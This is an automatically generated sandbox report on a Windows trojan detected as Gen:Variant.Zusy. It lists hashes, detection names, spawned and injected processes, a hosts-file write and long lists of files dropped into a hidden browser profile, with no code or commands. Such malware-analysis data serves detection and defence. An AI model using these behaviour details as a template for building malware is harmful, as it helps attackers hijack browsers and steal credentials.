Skip to main content

Gen.Variant.Zusy.147731_efe9dfa0fb


Trojan.Win32.Agent.nerwrv (Kaspersky), Gen:Variant.Zusy.147731 (B) (Emsisoft), Gen:Variant.Zusy.147731 (AdAware), Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: efe9dfa0fbebc8e78d5907b14a2f6ac2

SHA1: 4cb0308b6ba2cfd0bd7d3a7f3c6ade83362b4f1a

SHA256: f2036195cd169782e6c723442e7f6075c6ef8f406c4996488812ed792282eacd

SSDeep: 24576:GujZHwE0I33t4pvTq5s4Y91UDW iQ4JdTvkjMzEZNkw1kvPo3:GujVOqO4Y9JQ4JdTvkj

Size: 1843200 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2015-05-12 22:56:40

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

iis.exe:448
chrome.exe:2468
chrome.exe:444
chrome.exe:2068
chrome.exe:2420
chrome.exe:2100
chrome.exe:3720
wget.exe:2000

The Trojan injects its code into the following process(es):

cin.exe:1396
chrome.exe:876
chrome.exe:336
chrome.exe:1308
%original file name%.exe:668

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCacheCounterMutexRasPbFileZonesCounterMutexShimCacheMutex

File activity

The process cin.exe:1396 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%System%\drivers\etc\hosts (793 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\wget.exe (7253 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\cin.exe.run (78 bytes)

The process iis.exe:448 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-BR.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\da.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\kn.pak (4074 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\icudt.dll (455362 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\it.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\de.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\chrome.exe (30992 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\he.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nb.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-US.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hi.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es-419.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ca.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-CN.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\gu.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nl.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pl.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fr.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sr.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sw.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ta.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ja.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\uk.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\chrome.dll (794832 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\id.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ml.pak (4074 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hr.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-GB.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\it.pak (250 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sk.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fi.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\et.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\el.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\uk.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\tr.pak (250 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fa.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\et.pak (2249 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\resources.pak (40311 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\th.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sw.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\vi.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ro.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\am.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-TW.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ru.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fil.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sl.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\he.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\te.pak (3257 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\da.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-PT.pak (250 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fi.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll (277843 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\vi.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hi.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\de.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-US.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fa.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ms.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\te.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nl.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sv.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\mr.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ja.pak (1274 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lv.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sl.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nb.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ro.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ko.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sr.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lt.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ru.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hu.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-GB.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ml.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\el.pak (3461 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lv.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\mr.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fil.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hu.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\kn.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\th.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es-419.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\gu.pak (2282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ms.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sv.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sk.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\tr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pl.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lt.pak (762 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\id.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ta.pak (5049 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ko.dll (9 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\__tmp_rar_sfx_access_check_1323593 (0 bytes)

The process chrome.exe:876 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Network Action Predictor-journal (12870 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Shortcuts-journal (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_KebGwhiEGvOYBtm (131 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\8.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_IGvlFJjUqRhIydj (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\MANIFEST-000002 (69 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_S4AtrcJZtHDsWT1 (286 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_HfxwqJrUG9agR7Y (532 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\000001.dbtmp (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_0 (33644 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_1 (25936 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_2 (5648 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_3 (200 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_dQBYjDxcxcpVOz7 (131 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\7.tmp (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\LOG (47 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\MANIFEST-000001 (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Origin Bound Certs (495 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Login Data (1454 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Origin Bound Certs-journal (1682 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Network Action Predictor (7647 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\History-journal (13168 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Favicons-journal (15988 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\6.tmp (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\000002.dbtmp (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\User StyleSheets\Custom.css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_baqSUhrlvI2z50q (532 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\2.tmp (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\000002.dbtmp (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\5.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\MANIFEST-000001 (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\MANIFEST-000002 (69 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Top Sites-journal (12020 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_K3VyIMiaw5mZ0Y5 (286 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_G56vGeNP2h9gqCm (131 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\History Index 2014-04 (15028 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\B.tmp (129 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\9.tmp (328 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Shortcuts (592 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cookies (745 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7.tmp (23730 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\3.tmp (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Top Sites (5232 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\f_000002 (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\f_000001 (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Archived History (21037 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_SpKiY6DlpnTZ9Lc (532 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Current Session (4466 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_ubJaX3UoLepJd59 (532 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\A.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\First Run (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cookies-journal (2791 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Archived History-journal (12592 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\index (368 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Favicons (4342 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\History Index 2014-04-journal (15736 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Safe Browsing Cookies-journal (2791 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\4.tmp (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\LOG (47 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Web Data (31429 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Login Data-journal (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\000003.log (551 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\etilqs_WzNZb1HdzReTbOR (286 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\History (29905 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Web Data-journal (1612 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\1.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Visited Links (360 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Safe Browsing Cookies (745 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\000001.dbtmp (20 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sk\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_PT (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hr\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\craw_background.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\html\craw_window.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_BR\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_TW (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\MANIFEST-000001 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\cs\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ca\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\MANIFEST-000001 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\manifest.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sv\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fr (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\da\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Preferences~RF151239.TMP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\icon_16.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\it (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\CURRENT~RF14c8dc.TMP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\uk\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\id (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ko\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pl\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_CN\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\de\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sr\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\vi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\th\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nb (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\id\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es_419 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_TW\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\de (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lt\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lv (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\da (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nl\messages.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en_GB\messages.json (0 bytes)
